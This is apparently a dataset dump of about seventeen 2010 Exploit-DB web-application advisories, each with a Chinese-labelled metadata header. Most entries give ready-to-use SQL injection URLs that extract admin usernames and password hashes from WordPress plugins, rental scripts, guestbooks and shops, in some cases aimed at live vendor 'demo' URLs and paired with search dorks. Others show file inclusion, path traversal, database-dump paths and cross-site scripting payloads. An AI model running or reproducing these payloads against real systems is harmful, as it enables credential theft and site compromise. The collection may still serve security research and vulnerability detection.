QLWD/code_shield huggingface dataset:
标题: WordPress Plugin Copperleaf Photolog 0.16 - SQL Injection EDB-ID: 11458 CVE: 2010-0673 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-15 漏洞利用脚本: #############################################################################################################
## WordPress Copperleaf Photolog SQL injection                                              ##
## Author : kaMtiEz (kamzcrew@yahoo.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : 15 February, 2009                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.copperleaf.org/
[+] Download : http://www.copperleaf.org/wp-content/code/cpl0.16.zip
[+] version : 0.16 / lower maybe also affected
[+] Vulnerability : SQL
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/wp-content/plugins/cpl/cplphoto.php?postid=[INDONESIANCODER]&id=[VALID ID]

[ XpL]

+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--

[ DEMO ]

[+] Demo Vendor

http://www.copperleaf.org/wp-content/themes/limon/cplphoto.php?postid=416+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=2097

[+] Demo plugins

http://demo.com/wp-content/plugins/cpl/cplphoto.php?postid=11+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=11

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBl13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] r3m1ck : look at this .. hha 
[+] Don Tukulesto : kapan maen lage ?
[+] d0ntcry : semangat br0th .. belajar terusssss ...

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11458
标题: JTL-Shop 2 - 'druckansicht.php' SQL Injection EDB-ID: 11445 CVE: 2010-0691 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-14 漏洞利用脚本: JTL-Shop 2 (druckansicht.php) SQL Injection Vulnerability

author : Lo$T

(#) Home : www.sa-hacker.com/vb<http://www.sa-hacker.com/vb><http://www.sa-hacker.com/vb> + www.sec-eviles.com/vb<http://www.sec-eviles.com/vb>


email : H_CK@live.fr<mailto:H_CK@live.fr>


Dork :" Powered by JTL-Shop 2"

exp :

http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concat(cName,0x3a,cPass),7,8,9 from tadminlogin--
Greetz TO :beloved560 + The S3r!0uS + SMDo URL: https://www.exploit-db.com/exploits/11445
标题: Joomla! Component Jw_allVideos - Arbitrary File Download EDB-ID: 11447 CVE: 2010-0696 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-14 漏洞利用脚本: #################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Joomla (jw_allvideos Plugin)
# Version: 1.0
#################################################################
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
#################################################################
# Vulnerability:
# http://site.com/plugins/content/jw_allvideos/includes/download.php?file=./../.../file.php
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
################################################################### URL: https://www.exploit-db.com/exploits/11447
标题: Katalog Stron Hurricane 1.3.5 - Remote File Inclusion / SQL Injection EDB-ID: 11452 CVE: 2010-0678 2010-0677 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-14 漏洞利用脚本: #############################################################################################################
## Katalog Stron Hurricane Multiple Vulnerability RFI / SQL                              ##
## Author : kaMtiEz (kamzcrew@yahoo.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : 14 February, 2010                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.katalog.hurricane.pl/
[+] Download : http://www.katalog.hurricane.pl/download.html
[+] version : 1.3.5 or lower maybe also affected
[+] Vulnerability : RFI
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Here We go .. Live From Jogja City.. ]

[ RFI ]

http://127.0.0.1/[kaMtiEz]/includes/moderation.php?includes_directory=[INDONESIANCODER]


[ BUG ]

[!] moderation.php
     include($includes_directory.'population.php');

[ SQL ]

http://127.0.0.1/[kaMtiEz]/index.php?inc=category&get=[INDONESIANCODER]

[ XPL ]

6666+union+all+select+1,database(),3--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,Ibl13Z,Milo
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Ibl13Z : Turut berduka atas Flashdisknya gan
[+] Milo : Telpon MyQueen Terosss hhaa
[+] r3m1ck : KAYAK KUWEK Ojo Homok Yak .. ndak baik
[+] gonzhack : gua doain bro moga balikan .. hha ..
[+] for some one .. one day .. u will be mind .. >.<

[ QUOTE ]

[+] we are NOT DEAD INDONESIANCODER STILL r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11452
标题: WSN Guest 1.02 - 'orderlinks' SQL Injection EDB-ID: 11436 CVE: 2010-0672 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-13 漏洞利用脚本: ###########################
Author    : Gamoscu
Homepage  : http://www.1923turk.com
Blog      : http://gamoscu.wordpress.com/
Script    : WSN Guest 1.02
Download  : http://scripts.webmastersite.net/wsnguest/wsnguest.zip
###########################

Exploat  :index.php?page=20&orderlinks=SQL
 



http://server/wsnguest/index.php?page=20&orderlinks=+and+1=0+union+select+name,null,null,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wsnguest_members--



############################################################## 
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO 
##############################################################

Veda Turlarý :) URL: https://www.exploit-db.com/exploits/11436
标题: statcountex 3.1 - Multiple Vulnerabilities EDB-ID: 11434 CVE: 2010-0674 2008-0843 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-13 漏洞利用脚本: # Software Link: http://www.2enetworx.com/dev/projects/download.asp?pid=4&rid=34
# Version: 3.1
# Tested on: Windows xp sp3

------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \ 
| |    | | | |  __/ | | | (_) | | | | | |
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|


------------------------------------------------------

###########        StatCounteX 3.1 Multiple Vulnerabilities          ############
#
#       Author : Phenom
#
#       app version : 3.1
#
#################################################################################

####### Exploit #################################################################
#
#    1 - Database Disclosure Vulnerability
#
#        http://site.com/path/stats.mdb
#
#    2 - Remote Admin Access Vulnerability
#
#        http://site.com/path/admin.asp
#
#        here you can edit tables and configuration
#
################################################################################# URL: https://www.exploit-db.com/exploits/11434
标题: ZeusCMS 0.2 - Database Backup Dump / Local File Inclusion EDB-ID: 11437 CVE: 2010-0681 2010-0680 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-13 漏洞利用脚本: ==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] ZeusCMS v0.2 (DBD/LFI) Multiple Vulnerabilities
==============================================================================

    [»] Script:             [ ZeusCMS ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ ZeusCMS is yet another Content Management System ]
    [»] Download:           [ http://sourceforge.net/projects/zeuscms/files/ZeusCMS%20v0.2/ ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Sec-Attack.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Database Backup Dump ]===

    [»] http://[target].com/[path]/admin/backup.sql


===[ Local File Include ]===

    [»] http://[target].com/[path]/index.php?page=[LFI]


Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/11437
标题: Vacation Rental Script - SQL Injection EDB-ID: 11410 CVE: 2010-0763 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-11 漏洞利用脚本: :::::::::::::::::::::::::

Exploit Title : vacation Rental  Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

http://server/index.php?view=CalendarView&rental_id=-45+union+select+1,2,3,concat(admin_name,0x3a,admin_password)20,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59+from+vr_admin--


===========================================================
 Good luck for the Tunisian team handball in Can
=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ==== URL: https://www.exploit-db.com/exploits/11410
标题: RSA - SecurID Cross-Site Scripting EDB-ID: 11405 CVE: 2008-1470 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-02-11 漏洞利用脚本: Discovered 12-11-2008

Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)

Vendor Notified: 10-07-2009

Vendor Response: 10-08-2009

Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.

 

POC:

https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a URL: https://www.exploit-db.com/exploits/11405
标题: J.A.G (Just Another Guestbook) 1.14 - Database Disclosure EDB-ID: 11406 CVE: 2010-0665 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-02-11 漏洞利用脚本: # Software Link: http://www.xs4all.nl/~crisp/jag/jag.zip
# Version: v1.14
# Tested on: Windows xp sp3
 

------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \ 
| |    | | | |  __/ | | | (_) | | | | | |
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|


------------------------------------------------------

####### J.A.G (Just Another Guestbook) Database Disclosure Vulnerability #######
#
#       Author : Phenom
#
#       app version : 1.14
#
#################################################################################

####### Exploit #################################################################
#
#     http://site.com/path/jag/database.sql
#
################################################################################# URL: https://www.exploit-db.com/exploits/11406
标题: CD Rentals Script - SQL Injection EDB-ID: 11401 CVE: 2010-0762 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-11 漏洞利用脚本: /**************************************************************************

[!] CD Rentals Script SQL injection Vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date & Time : Thu Feb 10, 2010 5:55 PM
[!] Rock On : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.commodityrentals.com/
[+] This script is specifically tailored for people wanting to start a CDs Rentals Business within a very short time.
    Fully E-Commerce ready, this system comes with a Books attribute template and a fully customizable "look and feel" template of the site.
[+] Method : SQL Injection
[+] Dork : Don Tukulesto

===========================================================================

[ Proof of Concept ]

http://server/index.php?view=catalog&item_type=M&cat_id=[INDONESIAN CODER NOT DEAD WITHOUT YOU]

[ EXPL0!T ]

3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3,4+from+rental_admin--

[ D3M0 ]

http://server/index.php?view=catalog&item_type=M&cat_id=3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3,4+from+rental_admin--

===========================================================================

[ Remember the Name ]

[>] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown - SurabayaHackerLink
[>] kaMtiEz ~ M3NW5 ~ M364TR0N ~ Gonzhack ~ CYB3R_TR0N ~ DEESSAINT ~ ran ~ Arianom ~ Contrex
[>] Jack- ~ Yadoy666 ~ s4va ~ senot ~ Bayu5154 ~ VYC0D ~ Tucker ~ Ian Petrucii ~ Ronz & FeeLCoMz
[>] kecemplungkalen ~ DraCoola Multimedia ~ XNITRO ~ rey_cute ~ Awan Bejat ~ Plaque ~ Gh4mb4s
[>] Pathloader ~ tiw0L ~ Mboys ~ cimpli ~ d0ntcry ~ mbamboenk family ~ YOU !!!

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

For FAKE Don Tukulesto on Facebook : http://www.facebook.com/profile.php?id=100000563647147
I know you don't like me, but do u know what ? YOU ARE A LOSER. lmao URL: https://www.exploit-db.com/exploits/11401
标题: Books/eBooks Rental Software - SQL Injection EDB-ID: 11402 CVE: 2010-0761 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-11 漏洞利用脚本: /**************************************************************************

[!] Books/eBooks Rental Software SQL injection Vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date & Time : Thu Feb 10, 2010 5:55 PM
[!] Rock On : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.commodityrentals.com/
[+] This script is specifically tailored for people wanting to start a Books/E-Books Rentals Business within a very short time.
    Fully E-Commerce ready, this system comes with a Books attribute template and a fully customizable "look and feel" template of the site.
[+] Method : SQL Injection
[+] Dork : Don Tukulesto

===========================================================================

[ Proof of Concept ]

http://server/index.php?view=gamecatalog&cat_id=[INDONESIAN CODER NOT DEAD WITHOUT YOU]

[ EXPL0!T ]

2+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3+from+rental_admin--

[ D3M0 ]

http://server/index.php?view=gamecatalog&cat_id=2+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3+from+rental_admin--

===========================================================================

[ Remember the Name ]

[>] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown - SurabayaHackerLink
[>] kaMtiEz ~ M3NW5 ~ M364TR0N ~ Gonzhack ~ CYB3R_TR0N ~ DEESSAINT ~ ran ~ Arianom ~ Contrex
[>] Jack- ~ Yadoy666 ~ s4va ~ senot ~ Bayu5154 ~ VYC0D ~ Tucker ~ Ian Petrucii ~ Ronz & FeeLCoMz
[>] kecemplungkalen ~ DraCoola Multimedia ~ XNITRO ~ rey_cute ~ Awan Bejat ~ Plaque ~ Gh4mb4s
[>] Pathloader ~ tiw0L ~ Mboys ~ cimpli ~ d0ntcry ~ mbamboenk family ~ YOU !!!

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

For FAKE Don Tukulesto on Facebook : http://www.facebook.com/profile.php?id=100000563647147
I know you don't like me, but do u know what ? YOU ARE A LOSER. lmao URL: https://www.exploit-db.com/exploits/11402
标题: Cisco Collaboration Server 5 - Cross-Site Scripting / Source Code Disclosure EDB-ID: 11403 CVE: 2010-0642 2010-0641 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-02-11 漏洞利用脚本: Cisco Collaboration Server 5 XSS, Source Code Disclosure

Discovered by:  s4squatch of SecureState R&D Team (www.securestate.com)

Discovered: 08/26/2008

 

Note: End of Engineering  -->  http://www.cisco.com/en/US/products/sw/custcosw/ps747/prod_eol_notice09186a008032d4d0.html

Replaced with: http://www.cisco.com/en/US/products/ps7233/index.html and http://www.cisco.com/en/US/products/ps7236/index.html

 

 

XSS

===

http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest="><script>alert('xss!')</script>

 

Java Servlet Source Code Disclosure

===================================

The source code of .jhtml files is revealed to the end user by requesting any of the following:

 

Normal File:                        file.html

 

Modified 1:                                         file%2Ejhtml

Modified 2:                                         file.jhtm%6C

Modified 3:                                         file.jhtml%00

Modified 4:                                         file.jhtml%c0%80

 

Cisco Collaboration Server 5 Paths It Works On (list may not be complete)

=========================================================================                                                                                                            

http://www.website.com/doc/docindex.jhtml                                                                                                                                                                                                

http://www.website.com/browserId/wizardForm.jhtml

http://www.website.com/webline/html/forms/callback.jhtml

http://www.website.com/webline/html/forms/callbackICM.jhtml

http://www.website.com/webline/html/agent/AgentFrame.jhtml

http://www.website.com/webline/html/agent/default/badlogin.jhtml

http://www.website.com/callme/callForm.jhtml

http://www.website.com/webline/html/multichatui/nowDefunctWindow.jhtml

http://www.website.com/browserId/wizard.jhtml

http://www.website.com/admin/CiscoAdmin.jhtml

http://www.website.com/msccallme/mscCallForm.jhtml

http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml

 

Related Public Info

===================

https://www.securityfocus.com/bid/3592/info

https://www.securityfocus.com/bid/1578/info

https://www.securityfocus.com/bid/1328/info URL: https://www.exploit-db.com/exploits/11403
标题: Video Games Rentals Script - SQL Injection EDB-ID: 11409 CVE: 2010-0690 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-02-11 漏洞利用脚本: # Exploit Title: video games rentals Script SQL injection Vulnerability
# Date: 11/02/2010
# Author: JaMbA
# Software Link: N/A
# Version: all version
# Tested on: Windows & Linux
# CVE : ()

:::::::::::::::::::::::::

Exploit Title : video games rentals Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

www.[Server}.com/[Path]/index.php?view=catalog&pfid=5[exploit code]&item_type=G

[ D3M0 ]

http://server/index.php?view=catalog&pfid=-5+union+select+1,concat(admin_name,0x3a,admin_password),3,4,5+from+rental_admin--&item_type=G


Have Fun :D

===========================================================

=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ==== URL: https://www.exploit-db.com/exploits/11409
标题: Trade Manager Script - SQL Injection EDB-ID: 11412 CVE: 2010-0693 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-11 漏洞利用脚本: :::::::::::::::::::::::::

Exploit Title : Trade Manager  Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

http://server/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--

===========================================================
 Good luck for the Tunisian team handball in Can
=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ==== URL: https://www.exploit-db.com/exploits/11412
标题: Omnidocs - SQL Injection EDB-ID: 11393 CVE: 2010-0701 类型: WEBAPPS 平台: JSP 发布日期: 2010-02-11 漏洞利用脚本: --------------------------------------------------------------------
# Exploit Title: Omnidocs SQL injection Vulnerability
# Date: 10 Feb 2010
# Author: thebluegenius
# Software Link: http://www.newgensoft.com/omnidocs.asp
# Version: All
# Tested on: Apache-Coyote/1.1 | JBoss
# CVE : NA

---------------------------------------------------
"Omnidocs" SQL injection vulnerability.
---------------------------------------------------
By       :Thebluegenius. 
Email    :rajsm@isac.org.in
Blog  :thebluegenius.com.
---------------------------------------------------

Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and contents. Also integrates seamlessly with other enterprise applications.

------------------
Vulnerability
------------------

Affected URL: http://server/omnidocs/ForceChangePassword.jsp

Command: ' or 'a' = 'a'
Confirmed SQL Injection error :  ORA-00907: missing right parenthesis           

Command: or exists (select 1 from sys.dual) and ''x''=''x'
Confirmed SQL Injection error : ORA-01756: quoted string not properly terminated           

-----------------------------------------------------
Greetz Fly Out to:
1] Amforked()  : My good friend
2] Aodrulez    : for inspiring me
3] www.OrchidSeven.com
4] www.isac.org.in URL: https://www.exploit-db.com/exploits/11393